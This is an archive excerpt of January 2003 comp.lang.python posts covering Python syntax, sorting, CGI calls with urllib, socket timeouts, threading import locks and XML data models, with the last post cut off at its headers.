 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Does the true light / Of love come in flashes
\__/ Sandra St. Victor
    CatCam / http://www.catcam.com/
 What do your pets do all day while you're at work?  Find out.



From LogiplexSoftware at earthlink.net  Wed Jan  1 16:09:50 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 01 Jan 2003 13:09:50 -0800
Subject: opening a text document to show a .txt file throughabrowserlink
In-Reply-To: <3E135221.50F63404@alcyone.com>
References: <hcrP9.30944$Y2.1113@news2.bredband.com>
	 <mailman.1041277439.30986.python-list@python.org>
	 <3E10B410.E69EB572@alcyone.com>
	 <mailman.1041288686.25278.python-list@python.org>
	 <ahqqua.r04.ln@beastie.ix.netcom.com>
	 <mailman.1041312425.5480.python-list@python.org>
	 <7396d2b2.0212311127.13ebaa8@posting.google.com>
	 <tyfd6nhdikf.fsf@lxplus047.cern.ch>
	 <mailman.1041371348.30384.python-list@python.org>
	 <3E1269D0.B8488056@alcyone.com>
	 <mailman.1041402783.15788.python-list@python.org>
	 <3E12A3FC.E4621466@alcyone.com>
	 <mailman.1041449102.30864.python-list@python.org>
	 <3E135221.50F63404@alcyone.com>
Message-ID: <1041455389.9072.241.camel@software1.logiplex.internal>

On Wed, 2003-01-01 at 12:40, Erik Max Francis wrote:
> Cliff Wells wrote:
> 
> > I think *this* is a red herring: you're just testing me to see if I'll
> > really let you get the last word as I promised in a previous post ;)
> 
> Hey, this is a different subthread, so that contract is null and void
> :-).  (P.S. I win!)

Damn. I need to learn the rules better.

> Seriously, though, as far as I'm concerned we're just having a
> light-hearted discussion.  I don't think either of us are getting bent
> out of shape, nor should we be.  Happy holidays.

Gee, a gracious winner <wink>.  

May-all-your-code-turn-to-HTML'ly yrs,

-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From m.faassen at vet.uu.nl  Sun Jan 12 11:44:52 2003
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 12 Jan 2003 16:44:52 GMT
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <mailman.1042257199.7572.python-list@python.org> <%0TT9.121156$Hs2.11453314@kent.svc.tds.net>
Message-ID: <avs624$d7o$1@newshost.accu.uu.nl>

> I suppose in time all of our instincts will be revised by psycho.
> Still, I'll believe it when I see it

Me too. And I happen to know that these are some smart people working
on it. I'm very happy to hear about this project.

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?



From bokr at oz.net  Thu Jan  9 17:06:23 2003
From: bokr at oz.net (Bengt Richter)
Date: 9 Jan 2003 22:06:23 GMT
Subject: Do pythons like sugar?
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com> <cj5r1v4to11qdrsjcm1aiakm07adg9haob@4ax.com>
Message-ID: <avkrov$rsb$0@216.39.172.122>

On Thu, 09 Jan 2003 15:31:11 GMT, Afanasiy <abelikov72 at hotmail.com> wrote:

>On Thu, 09 Jan 2003 06:52:47 GMT, Afanasiy <abelikov72 at hotmail.com>
>wrote:
>
>>I've written this method for a text formatting class...
>>But it's ugly as sin. With all those self's I consider
>>it much less readable than it could be...
>>
>>A few languages provide syntax sugar for dealing with
>>this by allowing you to localize the class scope.
>>
>>Does Python? eg. `with self do:`
>>
>>  def format( self, width=80 ):    
>>    self.lines = ['']
>>    i = 0
>>    for word in self.text.split():  
>>      if self.textwidth(self.lines[i]) + self.textwidth(word) <= width:
>>        if self.textwidth(self.lines[i]) > 0:
>>          self.lines[i] += ' '
>>        self.lines[i] += word
>>      else:
>>        i += 1
>>        self.lines.append(word)
>
>It should not be common practice to slander someone who asks this.
>I'm going to attempt to ignore this thread now. Have a nice life.

I am sorry to read that you felt slandered. I may have missed a post or two.
There is certainly no license to slander in this newsgroup, and I think archives
fortunately will show that most disagreements do not end in huffy standoffs.

That said, I understand the feeling of being mistaken for something I'm not
and getting a response that is both socially and technically off mark.
Join the club ;-) It's bound to happen from time to time.

A point relating to your question is optimization. The 'self' name is not
treated specially, so it is looked up just like any other local name in the
method function. With an alternate indication of default self attribute
references, presumably one step could be removed from the code stream,
using a suitable new byte code instruction.

A possibility is keeping the '.' and leaving out the 'self' when the current
object is being referred to. That would make your code above look like:
(with 4-space indentation ;-)

    def format( self, width=80 ):     
        .lines = ['']
        i = 0
        for word in .text.split():  
            if .textwidth(.lines[i]) + .textwidth(word) <= width:
              if .textwidth(.lines[i]) > 0:
                  .lines[i] += ' '
              .lines[i] += word
          else:
              i += 1
              .lines.append(word)

How does that look to you?

Regards,
Bengt Richter



From vm_usenet at yahoo.com  Tue Jan  7 16:34:03 2003
From: vm_usenet at yahoo.com (vm_usenet)
Date: 7 Jan 2003 13:34:03 -0800
Subject: a new PEP?
References: <c09aca51.0301041334.f4c81d5@posting.google.com> <m3bs2w1sie.fsf@mira.informatik.hu-berlin.de>
Message-ID: <c09aca51.0301071334.311a4374@posting.google.com>

> > In case you're wondering why we should need such a feature - imagine
> > an application powered by Python as an extension language - and then
> > running two extensions in two different threads. Not so far-fetched,
> > anyway...
> 
> With the current implementation strategy, this is not necessarily a
> problem. The existing extension modules should cope with it just fine;
> third-party (i.e. your) extension modules don't work correctly, they
> need to be fixed.

This is not correct - trying it out on various schemas failed because
global variables are in conflict with each other when true
multithreading is introduced.



From hwlgw at hotmail.com  Wed Jan 29 03:05:56 2003
From: hwlgw at hotmail.com (Will Stuyvesant)
Date: 29 Jan 2003 00:05:56 -0800
Subject: Fileupload over CGI simulate
References: <3E373968.9020804@informatik.tu-chemnitz.de>
Message-ID: <cb035744.0301290005.782692@posting.google.com>

Marian F?rster 	<marian.foerster at informatik.tu-chemnitz.de> wrote in message news:<3E373968.9020804 at informatik.tu-chemnitz.de>...
> Hallo!
> 
> I want to do a fileupload to a cgi over python, not over the browser.
> 
> Are there an example??

I do not have a complete example for your problem.  But I have this
callcgi.py module that shows a way to call a CGI script from python. 
You would need a way to pass the file to the script so its sent with
POST, not sure how to do that...



----- callcgi.py -----------------------------------------------------

import urllib
import sys


def usage():
    print """
Usage: callcgi.py url_with_cgi_script
If url_with_cgi_script is omitted then
"http://localhost:8000/cgi-bin/test.py"
is taken.
"""

# get a fileobject fp for access to the cgi script
if len(sys.argv) < 2:
    fp = urllib.urlopen(r'http://localhost:8000/cgi-bin/test.py')
else:
    if sys.argv[1][0] in ['-','/','\\']:
        usage()
        sys.exit()
    fp = urllib.urlopen(sys.argv[1])
# read data from the cgi script and put the data in result
n = 0
result = ''
while 1:
    s = fp.read(8192)
    if not s: break
    result = result + s
    n = n + len(s)
fp.close()
# show what happened and show headers
print '----- callcgi.py -----'
print 'copied', n, 'bytes from', fp.url
for k,v in fp.headers.items():
    print k, '=', v
# show the data the cgi script returns
print
print result



From bellman at lysator.liu.se  Thu Jan  2 16:50:23 2003
From: bellman at lysator.liu.se (Thomas Bellman)
Date: Thu, 2 Jan 2003 21:50:23 +0000 (UTC)
Subject: PEP 303: Extend divmod() for Multiple Divisors
References: <ausiq8$egi$1@news.island.liu.se> <3E126FEF.BB622A2E@alcyone.com>
Message-ID: <av2c6v$o3p$1@news.island.liu.se>

Erik Max Francis <max at alcyone.com> writes:

> Thomas Bellman wrote:

>>     The idea comes from APL, which has an operator that does this.  (I
>>     don't remember what the operator looks like, and it would probably
>>     be impossible to render in ASCII anyway.)

> Oh boy oh boy!  I actually know this one.  It's an operator called
> encode, which looks like a stylized T (you know, in the same way that

Hmm, on python-dev I have got someone saying it's called 'base',
and someone else thinks it's called 'radix'.

> Actually, the APL operator takes the list of moduli as the left
> argument.
> I knew that reading that APL book (a language I am almost certain never
> to use in the real world in my entire life) last month would pay off! 

Ah, I see.  It was about a decade ago that I read a book on APL,
so my memory is a bit hazy with the details. :-)


-- 
Thomas Bellman,   Lysator Computer Club,   Link?ping University,  Sweden
"I don't think [that word] means what you    !  bellman @ lysator.liu.se
 think it means."   -- The Princess Bride    !  Make Love -- Nicht Wahr!



From zenguyuno at yahoo.com  Mon Jan 27 10:30:53 2003
From: zenguyuno at yahoo.com (zenguyuno at yahoo.com)
Date: Mon, 27 Jan 2003 15:30:53 GMT
Subject: Please Recommend a C compiler for use with Python.
Message-ID: <3E35513E.6D5CE8B5@lvcm.com>

I'm a has-been programmer.  I used to be quite skilled at C, but I
haven't used it for 7 years.  I don't even have a C compiler!  The only
language I currently use is Python.  I want to extend Python by writing
routines in C.  

I use a generic PC running Win 98.  What's a good, Easy-to-use and
install, ANSI C compiler?  I might mention that I mainly want to extend
Python by writing routines in C.  

Thanks,

z

-- 
"The most beautiful thing we can experience is the mysterious. It is the
source of all true art and science." - Albert Einstein



From p-abel at t-online.de  Tue Jan 28 15:57:37 2003
From: p-abel at t-online.de (Peter Abel)
Date: 28 Jan 2003 12:57:37 -0800
Subject: sort by last then by first
References: <1964c4d7.0301271648.18dba0b3@posting.google.com>
Message-ID: <13a533e8.0301281257.153b71fd@posting.google.com>

bk at whack.org (Brian Kranson) wrote in message news:<1964c4d7.0301271648.18dba0b3 at posting.google.com>...
> is is possible to sort a list by one field and then by another field
> in the list.  for example....
> 
> names=[['Flintstone', 'Fred'],['Flintstone', 'Wilma'],['Rubble',
> 'Barney'],['Rubble', 'Betty'],['Flintstone', 'Pebbles']]
> 
> in this case i know i can do ...
> 
> >>> names=[['Flintstone', 'Fred'],['Flintstone', 'Wilma'],['Rubble',
>  'Barney'],['Rubble', 'Betty'],['Flintstone', 'Pebbles']]
> >>> names.sort() #this will sort by last name
> >>> print names
> [['Flintstone', 'Fred'], ['Flintstone', 'Wilma'], ['Rubble',
> 'Barney'], ['Rubble', 'Betty'], ['Flintstone', 'Pebbles']]
> 
> and i know i can do ...
> 
> >>> names=[['Flintstone', 'Fred'],['Flintstone', 'Wilma'],['Rubble',
>  'Barney'],['Rubble', 'Betty'],['Flintstone', 'Pebbles']]
> >>> names.sort(lambda a, b: cmp(a[1], b[1])) #this will sort by first
>  name
> >>> print names
> [['Rubble', 'Barney'], ['Rubble', 'Betty'], ['Flintstone', 'Fred'],
> ['Flintstone', 'Pebbles'], ['Flintstone', 'Wilma']]
> 
I think you're quite near.

> but what i don't know is if this will always work.  seems like the
> sort is what i am looking for, but i can't tell if it is by chance or
> if my logic is correct.
> i want to sort by last name then by first name.
> 
> thanks
> Bk

If you change the order of sorting from
low order key to high order key, I can't see
any reason, why this shouldn't work stable.

With this technique you can sort list with
multiple elment sequences.
e.g.
l is an unsorted list with lists as elements each with 3 names:

>>> print '\n'.join(map(str,l))
['Flintstone', 'John', 'Peter']
['Kennedey', 'James', 'Peter']
['Flintstone', 'James', 'John']
['Flintstone', 'John', 'Harvey']
['McLarren', 'John', 'Peter']
['Flintstone', 'James', 'Sven']
['McLarren', 'Peter', 'Peter']
['Kennedey', 'John', 'Harvey']
['McLarren', 'Sven', 'Harvey']
['McLarren', 'Peter', 'Sven']
['Miller', 'Sven', 'Peter']
['Flintstone', 'James', 'Sven']
['Miller', 'John', 'James']
['Kennedey', 'James', 'Peter']
['Flintstone', 'Harvey', 'Harvey']

# 1) Sort by 3rd name
>>> l.sort(lambda a,b:cmp(a[2],b[2]))
# 2) Sort by 2nd name
>>> l.sort(lambda a,b:cmp(a[1],b[1]))
# 3) Sort by 1st name
>>> l.sort()

>>> print '\n'.join(map(str,l))
['Flintstone', 'Harvey', 'Harvey']
['Flintstone', 'James', 'John']
['Flintstone', 'James', 'Sven']
['Flintstone', 'James', 'Sven']
['Flintstone', 'John', 'Harvey']
['Flintstone', 'John', 'Peter']
['Kennedey', 'James', 'Peter']
['Kennedey', 'James', 'Peter']
['Kennedey', 'John', 'Harvey']
['McLarren', 'John', 'Peter']
['McLarren', 'Peter', 'Peter']
['McLarren', 'Peter', 'Sven']
['McLarren', 'Sven', 'Harvey']
['Miller', 'John', 'James']
['Miller', 'Sven', 'Peter']
>>> 
Though I can't say anything about speed.
Peter



From tjreedy at udel.edu  Fri Jan 17 12:31:01 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Fri, 17 Jan 2003 12:31:01 -0500
Subject: Coding standard: Prefixing variables to indicate datatype
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <3E267821.5030209@mxm.dk> <gXuV9.11465$CG6.203610@news4.e.nsc.no> <pan.2003.01.16.09.42.41.751206@webone.com.au> <c76ff6fc.0301161331.27350f1a@posting.google.com> <JTNV9.14383$Dq.1421728@newsread2.prod.itd.earthlink.net> <pan.2003.01.17.09.34.53.724229@webone.com.au>
Message-ID: <tlSdnV4T_spIoLWjXTWcqg@comcast.com>

"Simon Burton" <simonb at webone.com.au> wrote in message
news:pan.2003.01.17.09.34.53.724229 at webone.com.au...
> > I always use string.join because ''.join feels counter-intuitive,
> > because you're joining list. Sort of like saying 'bank maria went
to'.
> And he said:
> "Empty string, exercise your ability to join this list."

These statements are misleading.  The argument to .join can be *any*
sequence of strings or iterable that produces such.  Strings
themselves, tuples (of strings),
iterators (that yield strings), string-keyed dicts(!), etc; not just
lists.

>>> '.'.join(('1','2','3'))
'1.2.3'
>>> '.'.join('abc')
'a.b.c'
>>> from __future__ import generators
>>> def g():
...   for i in range(5): yield str(i)
...
>>> '.'.join(g())
'0.1.2.3.4'
>>> '.'.join({'a':1,'b':2})
'a.b'


On the other hand, join only applies to lists of *strings* and not
lists (or sequences) in general.

> Ya, not obvious,

Once you actually think about it, its obvious that attaching the join
method to the joiner is the only sensible place to put it.

"Carpenter, exercise your ability to joins these pieces of wood."

Terry J. Reedy





From peter at engcorp.com  Fri Jan 24 22:21:48 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 24 Jan 2003 22:21:48 -0500
Subject: Advice Needed re: MS-DOS/Win 98 as Python environment
References: <3E31C787.FBAE9794@lvcm.com> <3E31E028.9000501@optonline.net>
Message-ID: <3E3202CC.D9CDCA61@engcorp.com>

Frederick Bartlett wrote:
> 
> Then set your PYTHONPATH to point to any necessary directories; e.g.,
>    set PYTHONPATH=C:\python22\lib\site-packages\DCOracle2
> (which I need to access Oracle db's)

This should be unnecessary.  Python will automatically add all
subfolders in site-packages to sys.path, or should anyway.

Try removing that, then from the interactive prompt do a

  import sys
  sys.path

to see all the stuff that is set up automatically.

If that's *not* working, try just setting PYTHONHOME to point
to the c:\python22 folder and try it again.  *That* should work.

-Peter



From gtalvola at nameconnector.com  Fri Jan 24 16:47:19 2003
From: gtalvola at nameconnector.com (Geoffrey Talvola)
Date: Fri, 24 Jan 2003 16:47:19 -0500
Subject: socket wedged forever in recv()
Message-ID: <61957B071FF421419E567A28A45C7FE54010DB@mailbox.nameconnector.com>

I have a Windows NT client application that uses httplib to make requests to
a Windows NT server running Apache 2.0 serving up a cgi script.
Unfortunately, if I reboot the Apache server, if a request is in-progress,
the client will often wedge permanently.  I built a debug version of Python
2.2.2 and verified that the client is stuck in a call to recv() and will
apparently never exit.  It's a little irritating that the client can't
detect the situation and return from recv() with an error code at this
point.  Does anyone know a way to get the client to notice that the server
is gone?

I have a couple of ideas for workarounds.  timeoutsocket.py (1) can avoid
the problem for non-SSL connections but it doesn't work for SSL connections
at all, and my application needs to make some SSL connections as well as
non-SSL connections.  I'm also going to try Python 2.3a1 to see if its new
support for timeout on sockets works with SSL.

The only other idea I had was to make these http requests in a separate
thread so that I can detect the wedge and deal with it.  Ugly, but it might
work.

- Geoff

(1) http://www.timo-tasi.org/python/timeoutsocket.py




From sandorlevi at yahoo.com  Fri Jan 24 04:38:23 2003
From: sandorlevi at yahoo.com (Levente Sandor)
Date: 24 Jan 2003 01:38:23 -0800
Subject: Is it possible to statically link Python into a C/C++ program?
References: <c718a6cf.0301231940.643f34be@posting.google.com>
Message-ID: <8b5e42a6.0301240138.3d2136d6@posting.google.com>

jarrodhroberson at yahoo.com (Y2KYZFR1) wrote in message news:<c718a6cf.0301231940.643f34be at posting.google.com>...
> And if so how? Links to any information would be satisfactory.
> I have searched Google and found nothing helpful.

The one-file Python interpreter page might be a good starting point:
http://www.egenix.com/files/python/mxCGIPython.html

----
levi



From nav at adams.patriot.net  Fri Jan 17 23:47:55 2003
From: nav at adams.patriot.net (Nick Vargish)
Date: 17 Jan 2003 23:47:55 -0500
Subject: iterating in reverse
References: <f57664b9.0301161546.37c85159@posting.google.com> <3E274D34.8F0C4348@alcyone.com> <f57664b9.0301170105.a7d95fa@posting.google.com> <x7el7b4qiv.fsf@guru.mired.org> <yyywul3skw6.fsf@adams.patriot.net> <eppstein-FD9776.11512917012003@news.service.uci.edu> <yyyof6fseh0.fsf@adams.patriot.net> <7xadhz1h4w.fsf@ruckus.brouhaha.com>
Message-ID: <yyy3cnrrrlw.fsf@adams.patriot.net>

Paul Rubin <phr-n2003b at NOSPAMnightsong.com> writes:

> How about something like (untested):
> 
>     def convert(nbytes):
>        suffixes = ['K', 'M', 'G', 'T', 'P', 'E']
>        s = ''
>        while nbytes >= 1024:
>           nbytes /= 1024.0
>           s = suffixes.pop(0)
> 
>        return '%.3f%c'% (nbytes, s)

It's supposed to look very spreadsheet-like, so I can't compress like
that.

It's a neat technique, though. I did work on a front-end for an mp3
repository, and I converted the sum of seconds to get the number of
days of continuous audio on the server. At the peak we had over 50
days of mus^H^H^Hsound on the beast. So, from your method:

def convertseconds(ticks):
    suffixes = [ ('seconds', 60.0), ('minutes', 60.0), ('hours', 24.0), \
                 ('days', 365.24), ('years', 1) ]
    for suf, quant in suffixes:
        if ticks / quant < 1.0:
            break
        ticks /= quant
    return '%.2f %s' % (ticks, suf)

Wow, that's cool. Much better than the way I did it last time. Test
results were plausible. (I could double check, but, well... :^)

Nick        

-- 
# sigmask.py  ||  version 0.2  ||  2003-01-07  ||  Feed this to your Python.
print reduce(lambda x,y:x+chr(ord(y)-1),'Ojdl!Wbshjti!=obwAqbusjpu/ofu?','')



From martin at v.loewis.de  Mon Jan 27 12:43:00 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Mon, 27 Jan 2003 18:43:00 +0100
Subject: Tkinter + Unicode -- possible FIX
In-Reply-To: <fc3b2087.0301270846.307fbb45@posting.google.com>
References: <3e3446f4_1@dns.sd54.bc.ca> <b12j8e$bof$1@news2.tilbu1.nb.home.nl> <fc3b2087.0301270846.307fbb45@posting.google.com>
Message-ID: <3E356FA4.5010200@v.loewis.de>

Bob van der Poel wrote:
> And, I'm sort of
> convinced that having encoding enabled is the proper way to do things.

I'm convinced that this is evil. Your application will run on some 
systems and crash on others.

Regards,
Martin




From skip at pobox.com  Sat Jan 25 12:16:55 2003
From: skip at pobox.com (Skip Montanaro)
Date: Sat, 25 Jan 2003 11:16:55 -0600
Subject: Reciprocal link request
In-Reply-To: <ZhKdnZhMM9rSX6-jXTWcqg@comcast.com>
References: <mailman.1043501287.15704.python-list@python.org>
        <ZhKdnZhMM9rSX6-jXTWcqg@comcast.com>
Message-ID: <15922.50823.613480.30957@montanaro.dyndns.org>

    Terry> I presume the following header line indicates that this was gated from
    Terry> the mailing list:
    Terry> Message-ID: <mailman.1043501287.15704.python-list at python.org>

Yes.

    Terry> Do the following mean that this was *almost* classified as spam ?

    Terry> X-Spam-Status: No, hits=4.1 required=5.0
    Terry> tests=SPAM_PHRASE_03_05,SUPERLONG_LINE,TO_LOCALPART_EQ_REAL
    Terry> X-Spam-Level: ****

Approximately, yes.

    Terry> Are things being filtered at the gateway?

Yes, SpamAssassin is run on most of the lists which are served from
mail.python.org.  They had trouble recently with SA's network-based tests
(especially Vipul's Razor), so all tests which require network access have
been disabled.  Otherwise I think this particular item would have been
flagged as spam.

I suspect that once Barry gets Mailman/Spambayes integration working he will
switch to that.

Skip





From CousinStanley at HotMail.com  Thu Jan  2 13:19:59 2003
From: CousinStanley at HotMail.com (Cousin Stanley)
Date: Thu, 2 Jan 2003 11:19:59 -0700
Subject: How do I initialize a list please?
References: <ncc31vghl2c14mage2skeueuffkdpcnnt4@4ax.com> <mailman.1041347835.14601.python-list@python.org> <cc14131d.0212311349.3844d464@posting.google.com> <pan.2002.12.31.17.07.28.207322@compy.attbi.com>
Message-ID: <av1vri$bdqd5$1@ID-130333.news.dfncis.de>

    Cousin  Mork from Ork  and  his  Cousin Quark from Ark
    are preparing a universal knowledge base ...

    They are both rather industrious and
    wish to assimilate, catalog, convert, standardize, and distribute
    ALL  knowledge in  ALL  Universes ...

    The initial plan is to convert old library holdings
    currently in printed book form to electronic media
    via scanning into visual graphic file format
    followed by conversion back into encoded text
    by optical character recognition ...

    Their Cousin Vinny from New Jersey who has a  Mac  AND  a PC
    has proposed using some variation of the following logical structure
    which is nested 24 levels deep as a means to index and process the data
    implemented using his universal  LIP://Library_Index_Protocol  Service...

    Universe
        Galaxy
            Solar_System
                Planet
                    Country
                        State
                            City
                                Street
                                    Address
    Library
        Floor
            Room
                Stack
                    Shelf
                        Book
                            Volume
                                Chapter
                                    Page
                                        Paragraph
                                            Sentence
                                                Word
                                                    Character
                                                        Nibble
                                                            Bit

    LIP://uni.gal.sol.pla.cou.sta.cit.str.adr
             .lib.flo.roo.sta.she.boo.vol.cha.pag.par.sen.wor.cha.nib.bit

    Can Cousin Vinny Cope Python-Wise ???

    Cousin Stanley
    2003-01-02






From phil at river-bank.demon.co.uk  Wed Jan  1 15:17:42 2003
From: phil at river-bank.demon.co.uk (Phil Thompson)
Date: Wed, 1 Jan 2003 20:17:42 +0000
Subject: [PyKDE] pyqt/mysqld thread deadlock
In-Reply-To: <200301011155.12269.kibab@icehouse.net>
References: <200301010958.45042.kibab@icehouse.net> <200301011940.04314.phil@river-bank.demon.co.uk> <200301011155.12269.kibab@icehouse.net>
Message-ID: <200301012017.42377.phil@river-bank.demon.co.uk>

On Wednesday 01 January 2003 7:55 pm, Kaleb Pederson wrote:
> On Wednesday 01 January 2003 11:40 am, you wrote:
> > On Wednesday 01 January 2003 5:58 pm, Kaleb Pederson wrote:
> > > -----BEGIN PGP SIGNED MESSAGE-----
> > > Hash: SHA1
>
> <snip>
>
> > > It turns out, however, that the thread locks in the middle of my run()
> > > call and never completes. I'm cross-posting this message as I'm not
> > > familiar with Python extension modules and I don't know if PyQt could
> > > have caused this, it is a Python bug (or feature) or if there is a
> > > problem in the mysqldb module code.
>
> <snip>
>
> > > So does anyone have any idea what's wrong or how to fix it? Please
> > > email me as well if you aren't posting to the PyQt/Python list (kibab
> > > at icehouse dot net).
> >
> > To quote the Python source the lock is "to prevent parallel imports of
> > the same module in different threads to return with a partially loaded
> > module". What other imports (or the same import in other threads) might
> > be happening at the same time?
>
> At this point in my application there is nothing else "NEW" going on.  That
> is, I'm in the middle of the event loop and this occurs in response to a
> button press.  The thread, of course, returns control to my application
> which then waits for more user input.  I can think of no reason anything
> else would be trying to import ListType, TupleType, or exc_info. 
> Furthermore, this is the first thread I spawn (although the behavior is
> similar for all subsequent threads) thus, I would hope there would be no
> other blocked threads.

It would be any import, not just those specific things.

> Phil, wouldn't the block cease once the "other" thread had successfully
> imported the module thereby unblocking my thread?  Never through the rest
> of my application life does that thread unblock.

Should do - but something obviously isn't right. If there was no other import 
going on then the first call to PyThread_acquire_lock() in lock_import() in 
import.c would succeed. It's not so it's blocking in the second call.

You could try instrumenting lock_import(), or replace the mysqldb calls with 
code that still does the imports but nothing else.

Phil

Phil




From tim.one at comcast.net  Sat Jan 25 08:29:03 2003
From: tim.one at comcast.net (Tim Peters)
Date: Sat, 25 Jan 2003 08:29:03 -0500
Subject: killing thread ?
In-Reply-To: <7x8yx9qu51.fsf@ruckus.brouhaha.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCGEDODKAB.tim.one@comcast.net>

[Paul Rubin]
> Is there an obstacle to instrumenting the memory allocator to remember
> how much memory has been allocated by sandboxed code?

Well, "the memory allocator" doesn't exist -- there's no choke point for
allocations, outside of the platform C malloc.  If the latter has
instrumentation, then it can be asked.  The Python object allocator knows
how many "arenas" it has in hand, so that part is easy, but not everything
goes thru the Python object allocator.  Even so, the Python object allocator
has no idea how much memory is actually consumed by the platform C malloc
when it asks the latter for "an arena".  Bottom line:  all memory ultimately
comes from C malloc, and only C malloc knows what C malloc really does.





From mikeb at mitre.org  Sun Jan 19 07:57:09 2003
From: mikeb at mitre.org (Mike Brenner)
Date: Sun, 19 Jan 2003 07:57:09 -0500
Subject: XML vs Python?
Message-ID: <3E2AA0A5.DD377CD@mitre.org>

I agree on some of the points, but disagree on two points.


Point 1. Python structures have development and execution speed.

I agree. Python can get even better than a list
of dictionaries, using a structure which is either
a LIst or a diCTionary at each level (a "lict").
Just recursively get the children. Notice
notice whether the attributes are unique to 
decide whether to make a list or a dictionary.


Point 2. Objects are more obvious than python dictionaries.

I disagree. The one thing in mathematics one needs
to learn in order to do topology, category theory,
abstract algebra, homology, cohomology, braids, and K-Theory
is: the arrow. An arrow from A to B means that
"for each a in set A, there is exactly one b in set B."
>From this all more advanced mathematical concepts form.
The two most important of these mathematical concepts
which are based on the arrow diagram are:

	- the SQL dependency model
	- the Python dictionary model

In my opinion, the consecutive python dictionary references:

	database["table_name"]["row_key"]["column_name"]

is easier to work with than:

	database.get_cell(database.get_table("table_name"),
			  "row_key",
		          database.get_column("table_name", "column_name"))

And very similar abbreviations can be used for efficiency in both cases.

	table=database["table_name"]
	row=table["row_key"]
	cell=row["column_name"]

		vs. 

	table=database.get_table("table_name")
	column_id=table.get_column("column_name")
	row=table.get_row("row_key")
	cell=row.get_column(column_id)

			  
Point 3. A "standard" object model might be better.

I disagree. For example, in Java, the new JDOM 
model makes it one level less deep to access the 
nodes in an XML document. Since Java came up with
a new "standard" model that is easier to work with
and also faster at runtime, than DOM, it follows
that current standards are not perfect. JDOM is
just one step better than DOM. There are many steps
better to be gotten. 

The same in Python. We are nowhere near a good 
object model, nor does RDF, SVG, or any of the 
other complex applications based on XML come 
close to the level of the model we will shortly 
be needing.

We should always be looking to improve our data
models, and an object model is just one aspect
of our data model. Even objects themselves
should be reevaluated and thrown away when 
something better is discovered.

For example, bottom-up object-oriented design
replaced top-down design just about everywhere
except at the requirements level where the
objects come together to actually solve a problem.

That happened because we need to test software
to make it work, but people don't like to test,
and bottom-up requires less testing. Therefore,
the replacement for object-oriented design will
be something that requires even less testing than
objects.

Of course, the answer is arrows. The replacement
for objects will be dataflow diagrams with
their constraints expresses as mathematical
dependencies between sets (that is, arrow
diagrams). UML use cases, dataflow diagrams,
hierarchy diagrams, finite state machines,
and Sequence Diagrams are just the beginning.

Someday someone will modify UML and Object
Oriented Design by:

	- adding "arrow-dependencies" strong
	  enough to express geometric and
	  semantical constraints
	- changing the finite state machines
	  to colored Petri nets
	- combining the sequence diagrams with
	  timing charts
	- adding sprite graphics to SVG
	- adding XLINK, XSQL, etc., to browsers
	- standardizing the javascript on browsers
	- permitting browser to print multi-page diagrams
	- enhancing activities to include the whole
	  2D hierarchy of processes-activities-tasks
	  and requirements-activities-outputs,
	  annotating them with the tools used
	- adding a default web rendering of data
	  as relational 2D tables like spreadsheets
	  with a SQL query in each cell, with
	  mouse adjustable-width cells, floating
	  headers, and updating just like a spreadsheet
	  only over the web (any other rendering
	  would require a few minutes of rendering
	  programming)

after which objects will be obsolete. This could happen
as early as 5 years from now.



Paul wrote: 
> Before the XML heavyweights get in on this, I would make the following points:> 
>   * A lists and dictionaries approach certainly has its merits:
>     speed (at least according to the PyRXP people), familiarity,
>     interoperability with other Python stuff.
>
>  * Once you start to look into more advanced features, it would
>    seem to me that the lists and dictionaries model approaches
>    such a level of complexity that a "proper" object model would
>    be better. That is because you would need to find more
>    efficient ways (in terms of expression) of requesting an
>    attribute with a given namespace, for example, than examining
>    raw dictionaries. Certainly, it appears to me that...
>
>    attr = element.getAttributeNS(some_namespace, some_name)
>
>    ...is more obvious than...
>
>      attr = element[some_namespace][some_name]
>
>    ...especially if it's hidden in lots of heavy XML processing
>    code.
>
>  * You could write your own object model. Frederik Lundh's
>    ElementTree is like this. I'm not 100% convinced that it's
>    beneficial to drop a standard object model that is widely
>    understood for another which is more Pythonic, although this
>    is a tradeoff that might be appropriate for some situations.





From nav at adams.patriot.net  Fri Jan 31 12:39:50 2003
From: nav at adams.patriot.net (Nick Vargish)
Date: 31 Jan 2003 12:39:50 -0500
Subject: mention of books & extensions welcome, or...? (was Re: Scripting *of* Python)
References: <b1bj7a$i9o$1@jura.cc.ic.ac.uk> <3E39E891.780CFC81@alcyone.com> <mailman.1043983796.19335.python-list@python.org> <3E39FDE4.99EB64D4@alcyone.com> <mailman.1043990705.14436.python-list@python.org> <0Ur_9.148187$AA2.6031796@news2.tin.it> <yyyvg05kzne.fsf@adams.patriot.net> <soy_9.151609$AA2.6131659@news2.tin.it>
Message-ID: <yyyof5xkyl5.fsf@adams.patriot.net>

Alex Martelli <aleax at aleax.it> writes:

> If the grumble is (as I think, based on past impressions
> from this group) actually unjustified, then maybe _I_ should
> not be the one offering apologies.

Sorry, I was being a smartass. I'm looking forward to your book, and
I've been looking at Twisted, though it isn't in the domain of my
current work I'm looking for an excuse to play with it. I never would
have learned of Twisted if it hadn't been for frequent product
placement in this group.

I meant to add a p.s. along the lines of "Python programmer available
on hourly basis" at the end of my message. That would have made things
a little clearer. :^)

Nick

-- 
#include<stdio.h> /* SigMask 0.3 (sig.c) 19990429 PUBLIC DOMAIN "Compile Me" */
int main(c,v)char *v;{return !c?putchar(*v-1)&&main(0,v+ /* Tweaks welcomed. */
1):main(0,"Ojdl!Wbshjti!=obwAqbusjpu/ofu?\v\1");}  /* build: cc -o sig sig.c */



From tismer at tismer.com  Mon Jan 13 19:05:27 2003
From: tismer at tismer.com (Christian Tismer)
Date: Tue, 14 Jan 2003 01:05:27 +0100
